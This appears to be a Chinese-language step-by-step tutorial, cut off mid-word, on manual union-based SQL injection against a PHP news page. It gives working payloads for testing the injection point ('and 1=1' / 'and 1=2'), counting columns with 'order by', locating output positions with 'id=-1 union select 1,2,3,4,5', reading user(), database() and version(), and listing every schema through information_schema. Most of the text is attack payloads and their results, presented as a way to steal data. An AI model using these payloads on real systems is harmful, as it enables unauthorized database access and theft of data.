1、寻找注入点
寻找url中存在?能够传递参数到后端的页面;
例如 news_detail.php?id=2
2、判断是否存在SQL漏洞
判断标准:就是前端输入恶意的SQL内容,能够带到后端数据库执行;
逻辑操作:
select * from zeeker where id=2 and 1=1; 结果:可以查出数据
select * from zeeker where id=2 and 1=2; 结果:不可以查出数据
(判断闭合方式忽略)
3、判断当前查询的表有多少列
order by 列数,6报错,5不报错,说明当前查询的表有5列数据
4、查看数据的回显位置
目的是让我们想偷窥的数据显示在页面
id=-1 union select 1,2,3,4,5
5、查询数据库的基本信息
user(), database(), version();
此处确认数据库的版本为5.6版本,网站使用的数据库为zeeker
6、查看当前网站后台数据库到底有哪些?
id=-1 union select 1,group_concat( schema_name),3,4,5 from information_schema.schemata
结果:information_schema,mysql,performance_schema,test,zeeker
确认目标数据库就是zeeker
group_conca